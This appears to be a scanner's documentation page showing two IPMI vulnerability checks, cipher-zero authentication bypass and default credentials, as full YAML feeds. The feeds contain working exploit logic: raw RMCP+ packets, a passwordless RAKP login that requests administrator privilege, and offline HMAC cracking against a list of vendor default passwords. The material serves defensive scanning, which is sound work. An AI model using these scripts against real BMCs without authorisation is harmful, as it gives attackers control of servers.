IPMI — 2 vulnerability checks
noctis ships 2 vulnerability checks for IPMI, covering 5 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
IPMI cipher suite 0 (cipher zero) authentication bypass
| CVE | CVE-2013-4782, CVE-2013-4783, CVE-2013-4784, CVE-2014-2955 |
|---|---|
| Severity | critical · CVSS 10.0 |
| Category | auth-bypass — Auth bypass |
| Services | asf-rmcp, ipmi, rmcp |
| Detection | set_var, udp_probe, script, match · highest QoD 97 |
| Feed | tests/vulnerabilities/ipmi/ipmi-cipher-zero-auth-bypass.yaml |
Detects IPMI 2.0 baseboard management controllers (BMC) that accept RMCP+ sessions with cipher suite 0, where authentication, integrity and confidentiality are all "none": a remote attacker who knows a user name logs in with any password and runs arbitrary IPMI commands (power control, user management, serial-over-LAN console). Over UDP the test sends an RMCP+ Open Session Request that proposes cipher suite 0 and checks that the BMC accepts it with all three algorithms set to none. It then tries to log in without a password as the null user and as the usual default administrator names (ADMIN, admin, root, Administrator, USERID): it runs the RAKP handshake, sends the read-only Get Device ID command inside the session and requires a successful completion code, asks for administrator privilege (reported in the evidence), and closes the session. A completed login is reported with high confidence; a BMC that accepts the cipher-zero session but rejects all tried user names is reported with lower confidence. No setting on the BMC is changed.
How noctis detects it
- UDP datagram probe
- Parses / computes the next value with a Rhai script
- UDP datagram probe
- Parses / computes the next value with a Rhai script
- UDP datagram probe
- Parses / computes the next value with a Rhai script
- UDP datagram probe
- Parses / computes the next value with a Rhai script
- UDP datagram probe
- UDP datagram probe
- UDP datagram probe
- Parses / computes the next value with a Rhai script
- Checks
x.okfor^yes$→ finding QoD 97: IPMI cipher suite 0 login without password (authentication bypass) - Checks
acc.acceptedfor^yes$→ finding QoD 75: IPMI accepts cipher suite 0 (cipher zero) sessions
References:
- https://nvd.nist.gov/vuln/detail/CVE-2013-4782
- https://nvd.nist.gov/vuln/detail/CVE-2013-4783
- https://nvd.nist.gov/vuln/detail/CVE-2013-4784
- https://nvd.nist.gov/vuln/detail/CVE-2014-2955
- https://www.cisa.gov/news-events/alerts/2013/07/26/risks-using-intelligent-platform-management-interface-ipmi
- http://fish2.com/ipmi/cipherzero.html
Feed source — tests/vulnerabilities/ipmi/ipmi-cipher-zero-auth-bypass.yaml
# IPMI 2.0 RMCP+ cipher suite 0 ("cipher zero") authentication bypass —
# CVE-2013-4782 (Supermicro), CVE-2013-4783 (Dell iDRAC6/7), CVE-2013-4784
# (HP iLO), CVE-2014-2955 (Raritan PX).
#
# Credit: detection adapted from Greenbone's `2013/gb_ipmi_zero_cipher.nasl`
# (GPL-2.0-only). That check sends one RMCP+ Open Session Request proposing
# cipher suite 0 (authentication, integrity and confidentiality algorithms all
# "none") and reports when the reply's status code is 0.
#
# Improvements over the source check:
# - real exploitation (QoD 97): with cipher suite 0 the RAKP handshake carries
# no key-exchange authentication code, so the password is never checked. For
# each candidate user name (the null user, then the usual vendor defaults
# ADMIN / admin / root / Administrator / USERID) the feed runs RAKP 1 -> 4
# with no password, then sends Get Device ID (NetFn App, cmd 0x01, needs an
# authenticated session) inside the session and requires completion code 0.
# It then asks for ADMINISTRATOR privilege (Set Session Privilege Level,
# reported in the evidence) and closes the session (Close Session). Nothing
# on the BMC is changed; the session is gone when the test ends.
# - the Open Session Response is parsed strictly: RMCP+ payload type 0x11, our
# console session ID echoed, a non-zero managed system session ID, and the
# three algorithm payloads really set to "none" — the source check only reads
# the status byte, so a BMC that answers with other algorithms or a
# malformed/echoed datagram would be reported.
# - when the BMC accepts the cipher-zero session but none of the user names
# exists, the source check's result is kept as a QoD 75 finding.
#
# Session IDs travel unchanged between datagrams; each udp_probe uses a new
# source port, which BMCs accept (sessions are keyed by session ID — verified
# against OpenIPMI's ipmi_sim lanserv).
#
# RMCP+ reply layout (byte offsets; hex offset = byte x 2):
# 0 RMCP 06 00 ff 07 | 4 auth type 06 | 5 payload type | 6 session ID |
# 10 sequence | 14 payload length (LE) | 16 payload
# Open Session Response payload: 16 tag | 17 status | 18 max priv | 20 console
# SID | 24 managed SID | 28 auth payload (algo @32) | 36 integrity payload
# (algo @40) | 44 confidentiality payload (algo @48)
# RAKP 2 / RAKP 4: 17 status | 20 console SID
# IPMI message in session: 16 rqAddr 81 | 17 netFn/LUN | 18 chk | 19 rqAddr |
# 20 rqSeq | 21 cmd | 22 completion code | 23 data
uid: 10093289-4d66-49f5-87e7-9fcaf0eb543f
name: "IPMI cipher suite 0 (cipher zero) authentication bypass"
description: |
Detects IPMI 2.0 baseboard management controllers (BMC) that accept RMCP+
sessions with cipher suite 0, where authentication, integrity and
confidentiality are all "none": a remote attacker who knows a user name logs
in with any password and runs arbitrary IPMI commands (power control, user
management, serial-over-LAN console). Over UDP the test sends an RMCP+ Open
Session Request that proposes cipher suite 0 and checks that the BMC accepts
it with all three algorithms set to none. It then tries to log in without a
password as the null user and as the usual default administrator names
(ADMIN, admin, root, Administrator, USERID): it runs the RAKP handshake, sends
the read-only Get Device ID command inside the session and requires a
successful completion code, asks for administrator privilege (reported in the
evidence), and closes the session. A completed login is reported with high
confidence; a BMC that accepts the cipher-zero session but rejects all tried
user names is reported with lower confidence. No setting on the BMC is changed.
category: auth-bypass
cves: [CVE-2013-4782, CVE-2013-4783, CVE-2013-4784, CVE-2014-2955]
cvss: 10.0
severity: critical
confidence_base: 0.30
tags: [ipmi, rmcp, bmc, cipher-zero, supermicro, idrac, ilo, raritan, auth-bypass]
services: [asf-rmcp, ipmi, rmcp]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2013-4782"
- "https://nvd.nist.gov/vuln/detail/CVE-2013-4783"
- "https://nvd.nist.gov/vuln/detail/CVE-2013-4784"
- "https://nvd.nist.gov/vuln/detail/CVE-2014-2955"
- "https://www.cisa.gov/news-events/alerts/2013/07/26/risks-using-intelligent-platform-management-interface-ipmi"
- "http://fish2.com/ipmi/cipherzero.html"
steps:
# ── 1. Does the BMC accept an Open Session Request for cipher suite 0?
# Console session ID 711e2473, requested privilege 0 (highest available),
# auth / integrity / confidentiality payloads with algorithm 0 (none).
- id: init-osr
action: set_var
var_name: osr
var_value: {responded: false}
- id: open-session
action: udp_probe
port: "{{port}}"
timeout_secs: 5
send_hex: "0600ff0706100000000000000000200000000000711e2473000000080000000001000008000000000200000800000000"
store_as: osr
- id: parse-open-session
action: script
store_as: acc
code: |
let h = if osr.responded == true && type_of(osr.response_hex) == "string" { tolower(osr.response_hex) } else { "" };
let ok = strlen(h) >= 104
&& substr(h, 0, 7) == "0600ff07"
&& substr(h, 8, 9) == "06"
&& (u8(substr(h, 10, 11)) & 0x3f) == 0x11
&& substr(h, 34, 35) == "00"
&& substr(h, 40, 47) == "711e2473"
&& substr(h, 48, 55) != "00000000"
&& substr(h, 56, 57) == "00" && substr(h, 64, 65) == "00"
&& substr(h, 72, 73) == "01" && substr(h, 80, 81) == "00"
&& substr(h, 88, 89) == "02" && substr(h, 96, 97) == "00";
#{ ok: ok, accepted: if ok { "yes" } else { "no" } }
# ── 2. Exploit: log in without a password, one candidate user name per pass.
# Every result is re-initialised at the top of each pass so a skipped step
# never sees the previous user's reply.
- id: init-user-osr
loop:
var: user
over: ["", "ADMIN", "admin", "root", "Administrator", "USERID"]
action: set_var
var_name: uo
var_value: {responded: false}
- id: init-rakp2
action: set_var
var_name: r2
var_value: {responded: false}
- id: init-rakp4
action: set_var
var_name: r4
var_value: {responded: false}
- id: init-devid
action: set_var
var_name: gd
var_value: {responded: false}
- id: init-setpriv
action: set_var
var_name: sp
var_value: {responded: false}
# The null user (first pass) reuses the session opened in step 1, so the scan
# never leaves that session half-open on the BMC.
- id: user-open-session
action: udp_probe
condition: "acc.ok == true && user != \"\""
port: "{{port}}"
timeout_secs: 5
send_hex: "0600ff0706100000000000000000200000000000711e2473000000080000000001000008000000000200000800000000"
store_as: uo
# RAKP 1: managed system session ID, random console nonce, role 0x14
# (ADMINISTRATOR, name-only lookup), user name. The requested role caps the
# session's privilege, so asking for USER would hide the admin impact; an
# account limited below ADMINISTRATOR is refused and falls to the QoD 75 finding.
- id: build-rakp1
action: script
store_as: s
code: |
let src = if user == "" { osr } else { uo };
let h = if src.responded == true && type_of(src.response_hex) == "string" { tolower(src.response_hex) } else { "" };
let ok = strlen(h) >= 104
&& substr(h, 0, 7) == "0600ff07"
&& (u8(substr(h, 10, 11)) & 0x3f) == 0x11
&& substr(h, 34, 35) == "00"
&& substr(h, 40, 47) == "711e2473"
&& substr(h, 48, 55) != "00000000"
&& substr(h, 64, 65) == "00" && substr(h, 80, 81) == "00" && substr(h, 96, 97) == "00";
let msid = if ok { substr(h, 48, 55) } else { "00000000" };
let uname = "" + user;
let ulen = strlen(uname);
let payload = "00000000" + msid + rand_hex(16) + "140000" + p8(ulen) + hexstr(uname);
let rakp1 = "0600ff070612" + "0000000000000000" + p16le(28 + ulen) + payload;
let rakp3 = "0600ff070614" + "0000000000000000" + "0800" + "00000000" + msid;
// Close Session (NetFn App 0x06, cmd 0x3c, session ID), rqSeq 3.
let sum = 0x81 + 0x0c + 0x3c;
for i in 0..4 { sum += u8(substr(h, 48 + i * 2, 49 + i * 2)); }
let close = "0600ff070600" + msid + "03000000" + "0b00" + "2018c8810c3c" + msid + p8((256 - sum % 256) % 256);
#{ ok: ok, msid: msid, rakp1: rakp1, rakp3: rakp3, close: close,
name: if ulen == 0 { "(null user)" } else { uname } }
- id: rakp1
action: udp_probe
condition: "s.ok == true"
port: "{{port}}"
timeout_secs: 5
send_hex: "{{s.rakp1}}"
store_as: r2
# RAKP 2 status 0: the user name exists and the BMC goes on without asking
# for any proof of the password.
- id: check-rakp2
action: script
store_as: k2
code: |
let h = if r2.responded == true && type_of(r2.response_hex) == "string" { tolower(r2.response_hex) } else { "" };
let ok = s.ok && strlen(h) >= 48
&& substr(h, 0, 7) == "0600ff07"
&& (u8(substr(h, 10, 11)) & 0x3f) == 0x13
&& substr(h, 34, 35) == "00"
&& substr(h, 40, 47) == "711e2473";
#{ ok: ok }
# RAKP 3 with no key-exchange authentication code (cipher suite 0).
- id: rakp3
action: udp_probe
condition: "k2.ok == true"
port: "{{port}}"
timeout_secs: 5
send_hex: "{{s.rakp3}}"
store_as: r4
- id: check-rakp4
action: script
store_as: k4
code: |
let h = if r4.responded == true && type_of(r4.response_hex) == "string" { tolower(r4.response_hex) } else { "" };
let ok = k2.ok && strlen(h) >= 48
&& substr(h, 0, 7) == "0600ff07"
&& (u8(substr(h, 10, 11)) & 0x3f) == 0x15
&& substr(h, 34, 35) == "00"
&& substr(h, 40, 47) == "711e2473";
#{ ok: ok }
# Get Device ID (NetFn App, cmd 0x01, rqSeq 1) inside the session.
- id: get-device-id
action: udp_probe
condition: "k4.ok == true"
port: "{{port}}"
timeout_secs: 5
send_hex: "0600ff070600{{s.msid}}0100000007002018c88104017a"
store_as: gd
# Set Session Privilege Level ADMINISTRATOR (cmd 0x3b, rqSeq 2).
- id: set-admin-privilege
action: udp_probe
condition: "k4.ok == true"
port: "{{port}}"
timeout_secs: 5
send_hex: "0600ff070600{{s.msid}}0200000008002018c881083b0438"
store_as: sp
- id: close-session
action: udp_probe
condition: "k4.ok == true"
port: "{{port}}"
timeout_secs: 3
send_hex: "{{s.close}}"
- id: check-session
action: script
store_as: x
code: |
let g = if gd.responded == true && type_of(gd.response_hex) == "string" { tolower(gd.response_hex) } else { "" };
let p = if sp.responded == true && type_of(sp.response_hex) == "string" { tolower(sp.response_hex) } else { "" };
// Reply to our session (console SID), IPMI response NetFn 0x07 (App + 1),
// our rqSeq / command, completion code 0.
let devid = k4.ok && strlen(g) >= 48
&& substr(g, 0, 7) == "0600ff07"
&& (u8(substr(g, 10, 11)) & 0x3f) == 0x00
&& substr(g, 12, 19) == "711e2473"
&& (u8(substr(g, 34, 35)) >> 2) == 0x07
&& substr(g, 40, 43) == "0401"
&& substr(g, 44, 45) == "00";
let admin = devid && strlen(p) >= 48
&& substr(p, 12, 19) == "711e2473"
&& substr(p, 40, 45) == "083b00"
&& substr(p, 46, 47) == "04";
let info = if devid && strlen(g) >= 54 {
"device ID 0x" + substr(g, 46, 47) + ", firmware " + (u8(substr(g, 50, 51)) & 0x7f) + "." + substr(g, 52, 53)
} else { "" };
#{ ok: if devid { "yes" } else { "no" }, admin: if admin { "granted" } else { "refused" }, info: info }
- id: report-bypass
action: match
condition: "k4.ok == true"
source: x.ok
pattern: "^yes$"
on_match:
stop: true
finding:
title: "IPMI cipher suite 0 login without password (authentication bypass)"
description: "The BMC accepted an RMCP+ session with cipher suite 0 and completed the RAKP login for an existing user name without any password proof, then answered an authenticated IPMI command inside that session. Anyone who can reach the IPMI port can run IPMI commands as that user (power control, user management, serial-over-LAN console)."
remediation: "Disable cipher suite 0 on every LAN channel (for example `ipmitool lan set <channel> cipher_privs` with an X in the first position), apply the vendor firmware update (Dell iDRAC6 1.92 / 3.42, iDRAC7 1.23.23, Raritan PX 1.5.11), disable the null and unused default accounts, and restrict UDP port 623 to a dedicated management network."
confidence_delta: 0.65
qod: 97
evidence: "Cipher suite 0 session opened as user {{s.name}} with no password (RAKP 2 and RAKP 4 status 0); Get Device ID completion code 0 ({{x.info}}); ADMINISTRATOR privilege {{x.admin}}"
# ── 3. Cipher suite 0 accepted, but no tried user name exists.
# (count: 1 closes the loop group above so this runs once, after it.)
- id: report-cipher-zero
loop:
var: once
count: 1
action: match
condition: "acc.ok == true"
source: acc.accepted
pattern: "^yes$"
on_match:
finding:
title: "IPMI accepts cipher suite 0 (cipher zero) sessions"
description: "The BMC accepted an RMCP+ Open Session Request for cipher suite 0 (authentication, integrity and confidentiality all none). With this cipher suite the RAKP login does not check the password, so anyone who knows a valid user name can run IPMI commands. None of the default user names tried by the scan could complete a login on this BMC."
remediation: "Disable cipher suite 0 on every LAN channel (for example `ipmitool lan set <channel> cipher_privs` with an X in the first position), apply the vendor firmware update (Dell iDRAC6 1.92 / 3.42, iDRAC7 1.23.23, Raritan PX 1.5.11), and restrict UDP port 623 to a dedicated management network."
confidence_delta: 0.50
qod: 75
evidence: "RMCP+ Open Session Response status 0 for cipher suite 0 (authentication, integrity and confidentiality algorithms none)"IPMI default credentials
| CVE | CVE-2019-4169 |
|---|---|
| Severity | critical · CVSS 9.1 |
| Category | default-credentials — Default credentials |
| Services | asf-rmcp, ipmi, rmcp |
| Detection | script, set_var, udp_probe, match · highest QoD 97 |
| Feed | tests/vulnerabilities/ipmi/ipmi-default-credentials.yaml |
Detects IPMI 2.0 baseboard management controllers (BMC) where an account still uses a vendor default or blank password (for example Supermicro ADMIN/ADMIN, Dell iDRAC root/calvin, IBM IMM USERID/PASSW0RD, OpenBMC root/0penBmc). Whoever logs in can power the server off, reconfigure the BMC, add users and use the serial-over-LAN console. Over UDP the test opens an RMCP+ session for each common administrator user name and sends the RAKP 1 message. When the user exists, the BMC answers with an HMAC-SHA1 code keyed with that user's password; the test compares it offline with the known default passwords, so a wrong password is never sent and no account can be locked out. When a default password matches, the test completes the login with that password (RAKP 3) and reports the credential when the BMC accepts the session (RAKP 4). A password that matches but cannot open a session is reported with lower confidence. No setting on the BMC is changed; the session expires on its own.
How noctis detects it
- Parses / computes the next value with a Rhai script
- UDP datagram probe
- Parses / computes the next value with a Rhai script
- UDP datagram probe
- Parses / computes the next value with a Rhai script
- UDP datagram probe
- Parses / computes the next value with a Rhai script
- UDP datagram probe
- Parses / computes the next value with a Rhai script
- Checks
c.pwfor.→ finding QoD 97: IPMI login with the OpenBMC default password - Checks
c.pwfor.→ finding QoD 97: IPMI login with default credentials - Checks
c.pwfor.→ finding QoD 75: IPMI account uses the OpenBMC default password - Checks
c.pwfor.→ finding QoD 75: IPMI account uses a default password
References:
- https://nvd.nist.gov/vuln/detail/CVE-2019-4169
- https://www.ibm.com/support/pages/node/880493
- https://github.com/netbiosX/Default-Credentials/blob/master/IPMI-Default-Password-List.mdown
- http://fish2.com/ipmi/itrain.pdf
- https://www.cisa.gov/news-events/alerts/2013/07/26/risks-using-intelligent-platform-management-interface-ipmi
Feed source — tests/vulnerabilities/ipmi/ipmi-default-credentials.yaml
# IPMI 2.0 default credentials (RMCP+ RAKP-HMAC-SHA1) — CVE-2019-4169 for the
# OpenBMC "0penBmc" password on IBM OpenPOWER firmware, no CVE for the other
# vendor defaults (Supermicro ADMIN/ADMIN, Dell iDRAC root/calvin, IBM IMM
# USERID/PASSW0RD, Fujitsu iRMC admin/admin, Oracle ILOM root/changeme, ...).
#
# Credit: detection adapted from Greenbone's `gb_ipmi_default_pw.nasl`
# (GPL-2.0-only). That check opens an RMCP+ session per candidate user name,
# sends RAKP 1, and checks offline whether the key-exchange authentication code
# of RAKP 2 (HMAC-SHA1 keyed with the user's password) matches one of its
# default passwords. Same user and password lists here.
#
# Improvements over the source check:
# - real login (QoD 97): when the RAKP 2 code matches a default password, the
# feed completes the handshake on that same session with RAKP 3 (its own
# HMAC-SHA1 auth code keyed with the password) and requires RAKP 4 status 0
# from the BMC. It also checks the RAKP 4 integrity check value (HMAC-SHA1
# keyed with the session integrity key derived from the password) and
# reports the result. Only the right password is ever sent, so no failed
# login is recorded and no account can be locked out. The source check
# stops at the offline match, which is kept as a QoD 75 finding when the
# BMC refuses the session (account without LAN access).
# - blank password added to the candidates (null user / unset passwords).
# - per-finding CVE attribution: CVE-2019-4169 only when the matched password
# is the OpenBMC default, `cves: []` for the other vendor defaults.
# - the reply parsing is strict (RMCP+ payload type, our console session ID,
# status 0, non-zero managed session ID / auth code) — the source check
# reads only the status bytes.
# Not covered: IPMI 1.5-only BMCs (no RMCP+), which the source check probes with
# Activate Session attempts — one failed login per wrong password; and BMCs
# that only offer RAKP-HMAC-SHA256 suites (17+), like the source check — their
# 32-byte code never matches, so they are missed, never falsely reported.
#
# The authenticated session is left to the BMC's inactivity timeout: closing it
# needs an encrypted (AES-CBC-128) Close Session, which the engine can't build.
#
# RMCP+ reply layout (byte offsets; hex offset = byte x 2):
# 0 RMCP 06 00 ff 07 | 4 auth type 06 | 5 payload type | 6 session ID |
# 10 sequence | 14 payload length (LE) | 16 payload
# Open Session Response: 16 tag | 17 status | 20 console SID | 24 managed SID
# RAKP 2: 17 status | 20 console SID | 24 BMC random (16) | 40 BMC GUID (16) |
# 56 key-exchange auth code HMAC_Kuid(SIDm|SIDc|Rm|Rc|GUID|role|ulen|user) (20)
# RAKP 4: 17 status | 20 console SID | 24 ICV = HMAC_SIK(Rm|SIDc|GUID)[0..12]
# with SIK = HMAC_KG(Rm|Rc|role|ulen|user), KG = Kuid unless a BMC key is set
# (then the ICV is reported as not verified; RAKP 4 status 0 still proves it)
uid: b9ffb70a-b166-40dd-a89d-325022ae3998
name: "IPMI default credentials"
description: |
Detects IPMI 2.0 baseboard management controllers (BMC) where an account still
uses a vendor default or blank password (for example Supermicro ADMIN/ADMIN,
Dell iDRAC root/calvin, IBM IMM USERID/PASSW0RD, OpenBMC root/0penBmc). Whoever
logs in can power the server off, reconfigure the BMC, add users and use the
serial-over-LAN console. Over UDP the test opens an RMCP+ session for each
common administrator user name and sends the RAKP 1 message. When the user
exists, the BMC answers with an HMAC-SHA1 code keyed with that user's password;
the test compares it offline with the known default passwords, so a wrong
password is never sent and no account can be locked out. When a default
password matches, the test completes the login with that password (RAKP 3) and
reports the credential when the BMC accepts the session (RAKP 4). A password
that matches but cannot open a session is reported with lower confidence. No
setting on the BMC is changed; the session expires on its own.
category: default-credentials
cves: [CVE-2019-4169]
cvss: 9.1
severity: critical
confidence_base: 0.30
tags: [ipmi, rmcp, bmc, rakp, default-credentials, openbmc, supermicro, idrac, imm, irmc, ilom]
services: [asf-rmcp, ipmi, rmcp]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2019-4169"
- "https://www.ibm.com/support/pages/node/880493"
- "https://github.com/netbiosX/Default-Credentials/blob/master/IPMI-Default-Password-List.mdown"
- "http://fish2.com/ipmi/itrain.pdf"
- "https://www.cisa.gov/news-events/alerts/2013/07/26/risks-using-intelligent-platform-management-interface-ipmi"
steps:
# ── 1. Does the target speak RMCP+? Open Session Request for cipher suite 3
# (RAKP-HMAC-SHA1, HMAC-SHA1-96, AES-CBC-128), maximum privilege 0 (highest
# available), random console session ID.
- id: init
action: script
store_as: g
code: |
let c = rand_hex(4);
if c == "00000000" { c = "4e4f4354"; }
let osr = "0600ff070610" + "0000000000000000" + "2000" + "00000000" + c
+ "0000000801000000" + "0100000801000000" + "0200000801000000";
#{ csid: c, osr: osr }
- id: init-osr
action: set_var
var_name: osr
var_value: {responded: false}
- id: open-session
action: udp_probe
port: "{{port}}"
timeout_secs: 5
send_hex: "{{g.osr}}"
store_as: osr
- id: parse-open-session
action: script
store_as: acc
code: |
let h = if osr.responded == true && type_of(osr.response_hex) == "string" { tolower(osr.response_hex) } else { "" };
let ok = strlen(h) >= 72
&& substr(h, 0, 7) == "0600ff07"
&& substr(h, 8, 9) == "06"
&& (u8(substr(h, 10, 11)) & 0x3f) == 0x11
&& substr(h, 34, 35) == "00"
&& substr(h, 40, 47) == g.csid
&& substr(h, 48, 55) != "00000000";
#{ ok: ok }
# ── 2. One RMCP+ session per candidate user name: RAKP 1, then crack RAKP 2
# offline against the default passwords, then RAKP 3 with the matched one.
# Every result is re-initialised at the top of each pass so a skipped step
# never sees the previous user's reply.
- id: init-user-osr
loop:
var: user
over: ["", "ADMIN", "admin", "root", "USERID", "Administrator", "guest", "Admin", "administrator", "sysadmin", "avid"]
action: set_var
var_name: uo
var_value: {responded: false}
- id: init-rakp2
action: set_var
var_name: r2
var_value: {responded: false}
- id: init-rakp4
action: set_var
var_name: r4
var_value: {responded: false}
# The null user (first pass) reuses the session opened in step 1.
- id: user-open-session
action: udp_probe
condition: "acc.ok == true && user != \"\""
port: "{{port}}"
timeout_secs: 5
send_hex: "{{g.osr}}"
store_as: uo
# RAKP 1: managed system session ID, random console nonce Rm, role 0x14
# (ADMINISTRATOR, name-only lookup), user name.
- id: build-rakp1
action: script
store_as: s
code: |
let src = if user == "" { osr } else { uo };
let h = if src.responded == true && type_of(src.response_hex) == "string" { tolower(src.response_hex) } else { "" };
let ok = acc.ok && strlen(h) >= 72
&& substr(h, 0, 7) == "0600ff07"
&& (u8(substr(h, 10, 11)) & 0x3f) == 0x11
&& substr(h, 34, 35) == "00"
&& substr(h, 40, 47) == g.csid
&& substr(h, 48, 55) != "00000000";
let msid = if ok { substr(h, 48, 55) } else { "00000000" };
let uname = "" + user;
let ulen = strlen(uname);
let rm = rand_hex(16);
let tail = "14" + p8(ulen) + hexstr(uname);
let payload = "00000000" + msid + rm + "140000" + p8(ulen) + hexstr(uname);
let rakp1 = "0600ff070612" + "0000000000000000" + p16le(28 + ulen) + payload;
#{ ok: ok, msid: msid, rm: rm, tail: tail, rakp1: rakp1,
name: if ulen == 0 { "(null user)" } else { uname } }
- id: rakp1
action: udp_probe
condition: "s.ok == true"
port: "{{port}}"
timeout_secs: 5
send_hex: "{{s.rakp1}}"
store_as: r2
# RAKP 2 status 0: the user exists and the BMC sent HMAC-SHA1(password, salt).
- id: crack-rakp2
action: script
store_as: c
code: |
let h = if r2.responded == true && type_of(r2.response_hex) == "string" { tolower(r2.response_hex) } else { "" };
let ok = s.ok && strlen(h) >= 152
&& substr(h, 0, 7) == "0600ff07"
&& (u8(substr(h, 10, 11)) & 0x3f) == 0x13
&& substr(h, 34, 35) == "00"
&& substr(h, 40, 47) == g.csid
&& substr(h, 112, 151) != "0000000000000000000000000000000000000000";
let pw = "";
let found = false;
let rakp3 = "";
let sik = "";
let rc = "";
let guid = "";
if ok {
rc = substr(h, 48, 79);
guid = substr(h, 80, 111);
let code = substr(h, 112, 151);
let salt = g.csid + s.msid + s.rm + rc + guid + s.tail;
for p in ["", "admin", "calvin", "PASSW0RD", "ADMIN", "changeme", "password", "superuser",
"test", "0penBmc", "root", "computer1", "4rfv$RFV", "123456", "Admin@9000",
"DefaultFactoryPassword", "advantech", "Huawei12#$", "P@ssw0rd", "p@ssw0rd", "Avid123"] {
if hmac_sha1_hex(hexstr(p), salt) == code { pw = p; found = true; break; }
}
}
if found {
let k = hexstr(pw);
let auth = hmac_sha1_hex(k, rc + g.csid + s.tail);
rakp3 = "0600ff070614" + "0000000000000000" + "1c00" + "00000000" + s.msid + auth;
sik = hmac_sha1_hex(k, s.rm + rc + s.tail);
}
let icv = if found { substr(hmac_sha1_hex(sik, s.rm + s.msid + guid), 0, 23) } else { "" };
#{ found: found, pw: if pw == "" { "(blank)" } else { pw },
openbmc: found && pw == "0penBmc",
rakp3: rakp3, icv: icv }
# RAKP 3 with the matched default password: the actual login.
- id: rakp3
action: udp_probe
condition: "c.found == true"
port: "{{port}}"
timeout_secs: 5
send_hex: "{{c.rakp3}}"
store_as: r4
- id: check-rakp4
action: script
store_as: k
code: |
let h = if r4.responded == true && type_of(r4.response_hex) == "string" { tolower(r4.response_hex) } else { "" };
let login = c.found && strlen(h) >= 48
&& substr(h, 0, 7) == "0600ff07"
&& (u8(substr(h, 10, 11)) & 0x3f) == 0x15
&& substr(h, 34, 35) == "00"
&& substr(h, 40, 47) == g.csid;
let icv_ok = login && strlen(h) >= 72 && substr(h, 48, 71) == c.icv;
let st = if c.found && strlen(h) >= 36 { "0x" + substr(h, 34, 35) } else { "no reply" };
#{ login: login, refused: c.found && !login,
icv: if icv_ok { "valid" } else { "not verified (BMC key KG set?)" },
status: st }
- id: report-openbmc-login
action: match
condition: "k.login == true && c.openbmc == true"
source: c.pw
pattern: "."
on_match:
finding:
title: "IPMI login with the OpenBMC default password"
cves: [CVE-2019-4169]
cvss: 9.1
description: "The BMC accepted an RMCP+ session with the OpenBMC default password 0penBmc. On IBM OpenPOWER firmware OP910 / OP920 the IPMI password stays at this default even after the BMC password was changed (CVE-2019-4169). Anyone who can reach the IPMI port can run IPMI commands as this user (power control, user management, serial-over-LAN console)."
remediation: "Apply the IBM OpenPOWER firmware fix for CVE-2019-4169, set a strong unique IPMI password for every account (`ipmitool user set password <id>`), disable unused accounts, and restrict UDP port 623 to a dedicated management network."
confidence_delta: 0.65
qod: 97
evidence: "IPMI login as user {{s.name}} with password {{c.pw}}: RAKP 2 auth code matched the password, RAKP 4 status 0 after RAKP 3 (session accepted), RAKP 4 integrity check value {{k.icv}}"
- id: report-login
action: match
condition: "k.login == true && c.openbmc == false"
source: c.pw
pattern: "."
on_match:
finding:
title: "IPMI login with default credentials"
cves: []
cvss: 9.1
description: "The BMC accepted an RMCP+ session for a common administrator account with a vendor default or blank password. Anyone who can reach the IPMI port can run IPMI commands as this user (power control, user management, serial-over-LAN console) and often reach the host operating system."
remediation: "Set a strong unique password for every IPMI account (`ipmitool user set password <id>`), disable the null user and unused default accounts, and restrict UDP port 623 to a dedicated management network."
confidence_delta: 0.65
qod: 97
evidence: "IPMI login as user {{s.name}} with password {{c.pw}}: RAKP 2 auth code matched the password, RAKP 4 status 0 after RAKP 3 (session accepted), RAKP 4 integrity check value {{k.icv}}"
# The password is the account's real one (the BMC's own HMAC matched), but
# the BMC did not open the session (account without LAN / IPMI access, or
# no slot free).
- id: report-openbmc-password
action: match
condition: "k.refused == true && c.openbmc == true"
source: c.pw
pattern: "."
on_match:
finding:
title: "IPMI account uses the OpenBMC default password"
cves: [CVE-2019-4169]
cvss: 9.1
description: "The HMAC-SHA1 code the BMC returned in RAKP 2 for this account is keyed with the OpenBMC default password 0penBmc (CVE-2019-4169). The BMC did not confirm a session with it during the scan (refused, or the reply was lost), which may mean the account lacks LAN access."
remediation: "Apply the IBM OpenPOWER firmware fix for CVE-2019-4169, set a strong unique IPMI password for every account, and restrict UDP port 623 to a dedicated management network."
confidence_delta: 0.50
qod: 75
evidence: "RAKP 2 auth code for user {{s.name}} matched password {{c.pw}}; RAKP 3 answered with status {{k.status}}"
- id: report-password
action: match
condition: "k.refused == true && c.openbmc == false"
source: c.pw
pattern: "."
on_match:
finding:
title: "IPMI account uses a default password"
cves: []
cvss: 9.1
description: "The HMAC-SHA1 code the BMC returned in RAKP 2 for a common administrator account is keyed with a vendor default or blank password. The BMC did not confirm a session with it during the scan (refused, or the reply was lost), which may mean the account lacks LAN access."
remediation: "Set a strong unique password for every IPMI account, disable the null user and unused default accounts, and restrict UDP port 623 to a dedicated management network."
confidence_delta: 0.50
qod: 75
evidence: "RAKP 2 auth code for user {{s.name}} matched password {{c.pw}}; RAKP 3 answered with status {{k.status}}"